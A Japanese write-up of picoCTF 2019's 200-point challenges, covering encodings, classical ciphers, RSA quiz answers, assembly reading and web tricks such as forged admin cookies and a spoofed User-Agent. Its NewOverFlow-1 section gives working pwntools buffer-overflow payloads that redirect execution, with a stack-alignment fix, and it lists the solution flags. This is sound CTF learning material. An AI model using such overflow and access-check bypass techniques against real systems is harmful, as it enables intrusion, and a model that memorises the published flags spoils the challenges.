中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。
[General] Based (200pt)
To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 31615.
エンコードの問題のようです。指定のホストにつないでみます。
$ nc 2019shell1.picoctf.com 31615 Let us see how data is stored pear Please give the 01110000 01100101 01100001 01110010 as a word. ... you have 45 seconds..... Input:
2進の 01110000 01100101 01100001 01110010
を ascii に変換したら pear
なので、これを入れたら正解。次の問題が出ます。
が、いちいち手で調べていたら 45 秒しか無いとのことなので間に合わない可能性が。picoCTF2018のGeneral what base is this?で作成したスクリプトを使いまわします。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import binascii def hex2ascii(hex_str): return bytes.fromhex(hex_str).decode('utf-8') def bin2ascii(bin_str): n = int(bin_str, 2) return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode() def oct2ascii(oct_str): return chr(int(oct_str, 8)) def int2ascii(int_str): return chr(int(int_str)) while True: str_format = input('please input format. {bin|hex|oct}\n') str_list = input('please input char list.\n') str_arr = str_list.split() output = "" for s in str_arr: if str_format == 'bin': output += bin2ascii(s) elif str_format == 'hex': output += hex2ascii(s) elif str_format == 'oct': output += oct2ascii(s) else: print('unknown format.') break print(output)
これを立ち上げておいて問題をときます。
$ nc 2019shell1.picoctf.com 31615 Let us see how data is stored street Please give the 01110011 01110100 01110010 01100101 01100101 01110100 as a word. ... you have 45 seconds..... Input: street Please give me the 156 165 162 163 145 as a word. Input: nurse Please give me the 6368616972 as a word. Input: chair You've beaten the challenge Flag: picoCTF{learning_about_converting_values_0df4252d}
ちなみに立ち上げておいた方のスクリプト実行内容
$ python solve.py please input format. {bin|hex|oct} bin please input char list. 01110011 01110100 01110010 01100101 01100101 01110100 street please input format. {bin|hex|oct} oct please input char list. 156 165 162 163 145 nurse please input format. {bin|hex|oct} hex please input char list. 6368616972 chair
[Web] Client-side-again (200pt)
Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/47277/ (link) or http://2019shell1.picoctf.com:47277
またクライアントサイドにクレデンシャル情報が埋めてある問題っぽいです。指定されたリンク先に飛んでみます。
かっこよくなってます。が、またクレデンシャルを入れるフォームのみの機能です。
ソースコードを確認します。
(略) <script type="text/javascript"> var _0x5a46=['d9590}','_again_a','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}} </script> (略)
おー、なんか読みにくくなってる。
いくつかjsの難読化解除・整形のwebsiteがあるので、そちらを使って読みやすくしてみます。
今回は Javascript Viewer, Beautifier and Formatter, Editor こちらを使わせていただきました。整形後のコードはこちら。
var _0x5a46 = ['d9590}', '_again_a', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this']; (function(_0x4bd822, _0x2bd6f7) { var _0xb4bdb3 = function(_0x1d68f6) { while (--_0x1d68f6) { _0x4bd822['push'](_0x4bd822['shift']()); } }; _0xb4bdb3(++_0x2bd6f7); }(_0x5a46, 0x1b3)); var _0x4b5b = function(_0x2d8f05, _0x4b81bb) { _0x2d8f05 = _0x2d8f05 - 0x0; var _0x4d74cb = _0x5a46[_0x2d8f05]; return _0x4d74cb; }; function verify() { checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')]; split = 0x4; if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) { if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') { if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) { if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') { if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) { if (checkpass['substring'](0x6, 0xb) == 'F{not') { if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) { if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) { alert(_0x4b5b('0x8')); } } } } } } } } else { alert(_0x4b5b('0x9')); } }
ちょっと見やすくなった。
ちゃんとコードを追ったり、js実行してみたりしたほうがいいんだろうけども、最初の配列 _0x5a46
の要素を組み合わせればflagになる予感がしたので、flagっぽく組み立ててみる。
flag: picoCTF{not_this_again_ad9590}
通ったので良し。
[General] First Grep: Part II (200pt)
Can you find the flag in /problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files on the shell server? Remember to use grep.
first なのに part2 である…。
指定の shell server のディレクトリに行くと、沢山ディレクトリが。更に各階層の下には沢山のファイルが。
$ ls files0 files1 files10 files2 files3 files4 files5 files6 files7 files8 files9 $ cd files0 $ ls file0 file10 file12 file14 file16 file18 file2 file21 file23 file25 file27 file4 file6 file8 file1 file11 file13 file15 file17 file19 file20 file22 file24 file26 file3 file5 file7 file9
$ grep -r picoCTF{ * files1/file3:picoCTF{grep_r_to_find_this_142b9c9e}
[Crypto] Flags (200pt)
What do the flags mean?
こんな画像が配布されます。
国旗っぽいけど違う。よく見ると、{}
が間に入っているのと、{
の前に旗が7つ。
PICOCTF{、に置き換えるに違いない。換字暗号の画像版かな?
既出の旗を文字に置き換えると PICOCTF{F********T*FF}
。うーん、中をエスパーするにはスカスカすぎる...。
けど、旗になにか規則性も感じないし、クロスワード用の検索サイト Crossword Solver Quick Solve - Free Online Missing Letter Solver で色々試してみたけどピンとくる単語が思いつかずエスパー失敗。
ダメ元で一つflagを取り出して画像検索にかけてみると、International Marine signal flag
(国際信号旗)がヒット!やったぜ!よめる、読めるぞ!!
International maritime signal flags - Wikipedia
flag: PICOCTF{F1AG5AND5TUFF}
画像検索大事!
[Crypto] Mr-Worldwide (200pt)
A musician left us a message. What's it mean?
message.txt が配布されます。
picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}
なんとなくflagの形式になっています。そして、タイトルから世界に関係ありそう。そして更に最初の(35.028309, 135.753082)
、日本のどこかの緯度経度を示しているような気がします…。
GoogleMapの機能に、座標を 緯度, 経度
の形で突っ込むと位置を表示してくれるのがあるので全部やってみました。色んな国になっています。
35.028309, 135.753082 # 日本, Kyoto 46.469391, 30.740883 # ウクライナ, Odesa 39.758949, -84.191605 # アメリカ合衆国, Ohio, Dayton 41.015137, 28.979530 # トルコ, Istanbul 24.466667, 54.366669 # アラブ首長国連邦, Abu Dhabi 3.140853, 101.693207 # マレーシア, Kuala Lumpur _ 9.005401, 38.763611 # エチオピア, Addis Ababa -3.989038, -79.203560 # エクアドル, Loja 52.377956, 4.897070 # オランダ, Amsterdam 41.085651, -73.858467 # アメリカ合衆国, New York, Sleepy Hollow 57.790001, -152.407227 # アメリカ合衆国, Alaska, Kodiak 31.205753, 29.924526 # エジプト, Alexandria
番地まであったり詳細な場所を指していますが、州や県だとflagに繋がりそうになかったので国かな?。国コードをつなげてみたりなどしたり。
alpha-2
JPUAUSTRAEMY_ETECNLUSUSEG
alpha-3
JPNUKRUSATURAREMYS_ETHECUNLDUSAUSAEGY
この文字列を入れ替えて単語を作ってみようとしたり。が、うまくいきません。
しょうがないので一段下げて、Cityの頭文字で考えてみます。アメリカは州制度なので、州にすべきかCityにすべきか…?Cityにしたところ、意味の有りそうな単語になりました!
flag: picoCTF{KODIAK_ALASKA}
以下余談
ググってみたり、DiscodeでOSINTしてみたりしたところ、こんなのを見つけたり。
ジオハッシュという経緯度に基づくジオコーディング方法があるらしい。これの変換サイトもいくつか見つけたので、こちらで全ての緯度経度を変換してもらいます。
xn0x30sqsn4d u8mb7e2zf6rd dph4hjvs9mm0 sxk976w4rzxy thqejnh8ejq9 w283f5f8z3rj _ scee4p6u387m 6pr9m9vdpm3j u173zrjgwn8j dr73xr3vkbrq bd78gbk7nhyz stt38by6evzz
こんな感じ。flagには繋がらなかった。またどこかで役に立つかな…。
[Binary] NewOverFlow-1 (200pt)
Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1_0_f9bdea7a6553786707a6d560decc5d50 on the shell server. Source.
この問題は OverFlow 2 を解いたら出てきました。こっちのほうが点数低い…。
また実行ファイルvuln
と、ソースコードvuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Welcome to 64-bit. Give me a string that gets you the flag: "); vuln(); return 0; }
今度は64bitアーキテクチャのようです。その他は Overflow 1 とほぼ同じのようです。
こちらに32bitのときとの違いがわかりやすくまとまっていたので参考にさせていただきました。
引数の渡し方が変わってる。
x86では関数呼び出しするときにスタックに値を積んで引数を渡していたため、バッファオーバーフローなどでそのまま引数を渡せた。
x64ではレジスタに引数の値を指定するため、引数の操作がやりにくくなっている。
引数を渡すときは、まずスタックに値を設定してからROPで正しいレジスタに値をpopする必要がある。
ropperとかrp++とかを使って、目当てのものを探そう。
他、自分の過去記事で64bitの問題を扱った記事も参考にしつつ。
ångstromCTF 2019 Chain of Rope
まずはflag
関数のアドレスを調べます。
$ objdump -d vuln | grep flag 0000000000400767 <flag>: 40078b: 75 16 jne 4007a3 <flag+0x3c>
flag
関数のアドレスは 0000000000400767
。
stackはこんな感じと思われます。
eax | buffer start | | <64+8 bytes> | | buffer end | ebp | <4 bytes> | return | |
64+8(=72)
バイトがオフセット。ということで今回は、72バイトを適当に埋めてあげて先程のflag
関数のアドレスを流します。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * e = ELF('vuln') flag_addr = 0x400767 payload = b'a' * (64+8+4) payload += p64(flag_addr) print(payload)
実行結果
$ python solve.py [*] '/picoCTF_2019/Binary/200_NewOverFlow-1/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag\x07@\x00\x00\x00\x00\x00'
これを shell server で送り込んでみます。
$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag\x07@\x00\x00\x00\x00\x00" | ./vuln Welcome to 64-bit. Give me a string that gets you the flag: Segmentation fault
うーん、とれませんなー。いけると思ったんだけどな?
ここで競技終了。これが解けてれば200点問題まで全制覇だったので悔しい・・・!
他の方のwriteupを読んでみると、こんなことが。
ずらしたらいけた
なんか通らなかったから、アドレスをずらしてみた
えー、よくわからん。超能力者か。
もう少し色々見てみると、解説してくれているwriteupが。
- picoCTF 2019 write-up - Qiita
- CTFs/NewOverFlow-1.md at master · Dvd848/CTFs · GitHub
- picoCTF 2019 writeup - rajyanのメモ帳
これらによると、
64ビットでもやることは変わらん……と思ったら、flag関数に飛んだ時点でスタックが16バイト境界に揃っていないと、printfの中で落ちる。一旦空のretを挟むか、400767ではなく40768に飛ばす。
Let's take a look at the movaps Reference:
- When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
printfでセグフォを起こすことがわかります。これはThe MOVAPS issueと呼ばれるものようで、printfを呼ぶときにスタックが"16 byte aligned"である必要があるみたいです
どうやら、flag
を出力するための printf
関数を実行する際に落ちているらしい。更に、printf
の中のmovaps
命令で落ちているようだ。上記の通りmovaps
のリファレンスより、16バイト境界に揃っている必要があると。
3つめのwriteupにThe MOVAPS issueへのリンクがありました。
The MOVAPS issue If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack.
picoCTF2019のshell serverは
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1052-aws x86_64)
とのことなので Ubuntu 18.04。printf
関数のmovaps
でsegfault
。まさにこれだ。
対処方法まで書いてある。
movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
へーへーへー!
2種類の解き方を観測。
- 16バイトに揃えるため、
flag
関数のアドレスを1足す - 先程の対処法の通り、一旦retを挟む
1の解き方は、先程試したスクリプトの flag_addr
を1足したものにするだけ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * # flag_addr = 0x400767 flag_addr = 0x400768 payload = b'a' * (64+8) payload += p64(flag_addr) print(payload)
実行結果
$ python solve.py b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x07@\x00\x00\x00\x00\x00'
これを shell server の指定されたディレクトリで実行すると
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x07@\x00\x00\x00\x00\x00"; cat) | ./vuln Welcome to 64-bit. Give me a string that gets you the flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_1a8eb93a}
とれた。
2の方法は、flag
関数に飛ばす前にret
を挟む。retのアドレスは、localのradare2で確認。
$ r2 vuln > aaaa > s.sym.flag (略) | 0x004007c9 90 nop | 0x004007ca c9 leave \ 0x004007cb c3 ret
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * flag_addr = 0x400767 ret_addr = 0x4007cb payload = b'a' * (64+8) payload += p64(ret_addr) payload += p64(flag_addr) print(payload)
実行結果
$ python solve2.py b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x07@\x00\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00'
これを送ってみます。
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x07@\x00\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00"; cat) | ./vuln Welcome to 64-bit. Give me a string that gets you the flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_1a8eb93a}
でた!
16バイトアライメントの話、全然知らなかったなぁ。Binaryはまだまだ知らないことだらけだ。でも知らなかったとしても、動きを追ったりして確認できれば解けるのかも知れない。。。
[Web] Open-to-admins (200pt)
This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/45127/ (link) or http://2019shell1.picoctf.com:45127
Hints
Can cookies help you to get the flag?
指定されたリンクに飛ぶと、Flagと書かれたボタンが有るだけのサイトが。
Signin メニューを推してみると、未実装とのことです。この後の問題で出てくるのかな?
Flagボタンを押してみます。
adminじゃないと表示してくれないみたいです。問題文のとおりですね。あとはtimeが1400じゃないとだめみたいです。
Hintから、cookieがヒントになりそうなので確認してみます。
__cfduid: d95bcee7e15545a2458813d39189401d61569824421
このcookieだけです。とりあえず言われたとおりcookieに
time: 1400 admin: True
の2つのcookieを追加してみます。
ページを更新すると出ました…!
[Crypto] Tapping (200pt)
Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 21897.
指定されたホストに接続して見ます。
$ nc 2019shell1.picoctf.com 21897 .--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. .---- ---.. .---- ---.. ..--- ..--- ....- ..... --... ..... }
モールス信号っぽい。いい加減モールス信号のプログラム作りたい。
が、今回はこのサイトに突っ込むだけで出来たので、また今度。
flag: PICOCTF{M0RS3C0D31SFUN1818224575}
[Reversing] asm1 (200pt)
What does asm1(0x1f3) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_2_4ced82d316c06cd3a46ba3bda9f6c144.
test.S
が配布されます。アセンブリのようです。
asm1: <+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x767 <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x1f3 <+19>: jne 0x50a <asm1+29> <+21>: mov eax,DWORD PTR [ebp+0x8] <+24>: add eax,0xb <+27>: jmp 0x529 <asm1+60> <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0xb <+35>: jmp 0x529 <asm1+60> <+37>: cmp DWORD PTR [ebp+0x8],0xcde <+44>: jne 0x523 <asm1+54> <+46>: mov eax,DWORD PTR [ebp+0x8] <+49>: sub eax,0xb <+52>: jmp 0x529 <asm1+60> <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,0xb <+60>: pop ebp <+61>: ret
これに 0x1f3
を入れたらどうなりますか?という問題です。読んでみます。
asm1: <+0>: push ebp # base pointer を stackの一番上に <+1>: mov ebp,esp # stack pointer を ebp に追従 <+3>: cmp DWORD PTR [ebp+0x8],0x767 # 入力値(0x1f3)と 0x767 を比較 <+10>: jg 0x512 <asm1+37> # cmpの結果2つ目の値のほうが大きいので処理続行 <+12>: cmp DWORD PTR [ebp+0x8],0x1f3 # 入力値(0x1f3)と 0x1f3 を比較 <+19>: jne 0x50a <asm1+29> # 等しいので処理続行 <+21>: mov eax,DWORD PTR [ebp+0x8] # eaxに入力値を代入 <+24>: add eax,0xb # 0x1f3 + 0xb = 0x1fe <+27>: jmp 0x529 <asm1+60> # 60に飛ぶ <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0xb <+35>: jmp 0x529 <asm1+60> <+37>: cmp DWORD PTR [ebp+0x8],0xcde <+44>: jne 0x523 <asm1+54> <+46>: mov eax,DWORD PTR [ebp+0x8] <+49>: sub eax,0xb <+52>: jmp 0x529 <asm1+60> <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,0xb <+60>: pop ebp # eax = 0x1fe を返して終了 <+61>: ret
なので答えは 0x1fe
。flagも問題文にあるとおりこのままです。
[Crypto] la cifra de (200pt)
I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 37608.
指定されたホストに接続してみます。
$ nc 2019shell1.picoctf.com 37608 Encrypted message: Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk
Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd
Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo
Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a}
Zmp fowdt cjwl-jtnusjytki oeyhcivytot tq a vtwygqahggptoh nivmpr nthebjc, wgx xajj lruzyd 1467 hd Weus Mazytszf Llhjcto.
Yse Bnretèwp Cousex nd tnjceltce ytxeznxey hllrjo tnj Llhjcto Itsi tc Argprzn Nivmpr.
Os 1508, Uonfynkx Eroysesnfs osgetypd zmp su-hllrjo tggflg wpczf (l mgycid tq snnqtki llvmlbkyd) tnfe wuzwd rfeex gp a iwttohll itxpuspnz tq tnj Gimjyèrk Htpnjc.
Bkqwayt’d skhznj gzoqqpt guaegwpd os 1555 ls g hznznyugytot tq tnj qixxe. Tnj wocjc hgqgey tq tnj llvmlbkyd axj yoc xsilypd xjrurfcle, gft zmp arusahjes gso tnj tnjji lkyeexx lrk rtxki my sjlny tq a sspmustc qjj pnwlsk, bsiim nat gp dokqexjyt cneh kfnh itcrkxaotipnz.
長い!ヒントを見るとこれを解くのに役立つツールがあるそうですが、いつも人力といている私です…。これはきっと換字暗号に違いない。そして文の中ほどにflagっぽいフォーマットがあります。
pohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a}
十分長い長さがあれば解析してくれるオンラインサイトもありそうですが、せっかくなので人力で解いてみます。先程のフラグフォーマットから、下記の変換ができそう。
p -> p o -> i h -> c z -> o C -> C Z -> T K -> F
大文字小文字の差があれど、同じ c
が違う文字に変換されているようです。これは、ずらす文字数が複数ありそうです。何文字ずらされているか数えてみます。
p -> p 0 o -> i 6 h -> c 5 z -> o 11 C -> C 0 Z -> T 6 K -> F 5
あ、規則がありそうです。これいつかどこかでやりました。ずらす文字をアルファベットに以下のように置き換えてみると
0 -> A 6 -> G 5 -> F 11-> L
見慣れた文字列です。そう、FLAG
。これがKey。文章の先頭から順番にずらしてやります。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string cipher = """Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a} Zmp fowdt cjwl-jtnusjytki oeyhcivytot tq a vtwygqahggptoh nivmpr nthebjc, wgx xajj lruzyd 1467 hd Weus Mazytszf Llhjcto. Yse Bnretèwp Cousex nd tnjceltce ytxeznxey hllrjo tnj Llhjcto Itsi tc Argprzn Nivmpr. Os 1508, Uonfynkx Eroysesnfs osgetypd zmp su-hllrjo tggflg wpczf (l mgycid tq snnqtki llvmlbkyd) tnfe wuzwd rfeex gp a iwttohll itxpuspnz tq tnj Gimjyèrk Htpnjc. Bkqwayt’d skhznj gzoqqpt guaegwpd os 1555 ls g hznznyugytot tq tnj qixxe. Tnj wocjc hgqgey tq tnj llvmlbkyd axj yoc xsilypd xjrurfcle, gft zmp arusahjes gso tnj tnjji lkyeexx lrk rtxki my sjlny tq a sspmustc qjj pnwlsk, bsiim nat gp dokqexjyt cneh kfnh itcrkxaotipnz. """ key = "flag" alphabet = list(string.ascii_lowercase) def shift(c, k): idx = (alphabet.index(c) - alphabet.index(k)) % 26 return alphabet[idx] plain = "" key_idx = 0 for c in cipher: if c == 'è': plain += c elif c.isupper(): plain += shift(c.lower(), key[key_idx]).upper() key_idx = (key_idx + 1) % len(key) elif c.islower(): plain += shift(c, key[key_idx]) key_idx = (key_idx + 1) % len(key) else: plain += c print(plain)
※è
が isalpha
で true になってアルファベット認定されていたので、特別に除外しています。
実行結果
$ python solve.py It is interesting how in history people often receive credit for things they did not create During the course of history, the Vigenère Cipher has been reinvented many times It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3re62e044a} The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti. The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher. In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher. Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.
[Web] picobrowser (200pt)
This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/49789/ (link) or http://2019shell1.picoctf.com:49789
リンクに飛んでみます。
またflagボタンだけのサイトです。押してみます。
picobrowserじゃないと怒られます。自分のUserAgentらしきものが表示されているので、UAをpicobrowser
に変えてやると良さそうです。
ChromeでのUAの変更方法はこんな感じ。
開発者ツールのメニューの3点アイコンから、More tools
> Network conditions
を選択
UserAgentの欄を Select automatically
チェックを外して Custom を選択、好きな文字列を入れます。
この状態で再び /flag
にアクセスすると、flagが表示されました!
[General] plumbing (200pt)
Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to 2019shell1.picoctf.com 63345.
指定のホストにつないでみます。
$ nc 2019shell1.picoctf.com 63345 Again, I really don't think this is a flag I don't think this is a flag either Not a flag either This is defintely not a flag Not a flag either Not a flag either I don't think this is a flag either Not a flag either Again, I really don't think this is a flag I don't think this is a flag either I don't think this is a flag either This is defintely not a flag ...
こんなのがだーっと流れてきます。これもgrep
でフィルタしてあげます。
$ nc 2019shell1.picoctf.com 63345 | grep picoCTF{ picoCTF{digital_plumb3r_4e7a5813}
[Crypto] rsa-pop-quiz (200pt)
Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 48028
RSA暗号問題のようです。指定されたホストにつないでみます。
$ nc 2019shell1.picoctf.com 48028 Good morning class! It's me Ms. Adleman-Shamir-Rivest Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do! You will need to tell me if each example is possible, given your extensive crypto knowledge. Inputs and outputs are in decimal. No hex here! #### NEW PROBLEM #### q : 60413 p : 76753 ##### PRODUCE THE FOLLOWING #### n IS THIS POSSIBLE and FEASIBLE? (Y/N):
このRSA問題の形式は、picoCTF2018でも出ました!rsa-madlibs
今回も in decimal. No hex here! とのことで、10進のまま答えを入力します。
1問目
#### NEW PROBLEM #### q : 60413 p : 76753 ##### PRODUCE THE FOLLOWING #### n IS THIS POSSIBLE and FEASIBLE? (Y/N):
n = p * q
なので計算できます。
4636878989
2問目
#### NEW PROBLEM #### p : 54269 n : 5051846941 ##### PRODUCE THE FOLLOWING #### q IS THIS POSSIBLE and FEASIBLE? (Y/N):
1問目と同じく n = p * q
すなわち q = n / p
なので計算できます。
93089
3問目
#### NEW PROBLEM #### e : 3 n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913 ##### PRODUCE THE FOLLOWING #### q p IS THIS POSSIBLE and FEASIBLE? (Y/N):
これは素因数分解できれば q,p
を算出できそうですが、素因数分解できない(計算コストが高すぎる)ことがRSA暗号の肝なので、基本的にはFEASIBLE
ではないはず。なので N
です。
4問目
#### NEW PROBLEM #### q : 66347 p : 12611 ##### PRODUCE THE FOLLOWING #### totient(n) IS THIS POSSIBLE and FEASIBLE? (Y/N):
totientは"その数以下でその数と互いに素な数の個数"。n自体は p * q で求まり、totient(n) は素因数分解できれば良さそうなので求まりそう。
#!/usr/bin/env python3 import gmpy n = 66347 * 12611 def prime_factors(x): prime = gmpy.mpz(2) x = gmpy.mpz(x) factors = {} while x >= prime: newx, mult = x.remove(prime) if mult: factors[prime] = mult x = newx prime = prime.next_prime() return factors def euler_phi(x): fac = prime_factors(x) result = 1 for factor in fac: result *= (factor-1) * (factor**(fac[factor]-1)) return result print(euler_phi(n))
実行結果
836623060
5問目
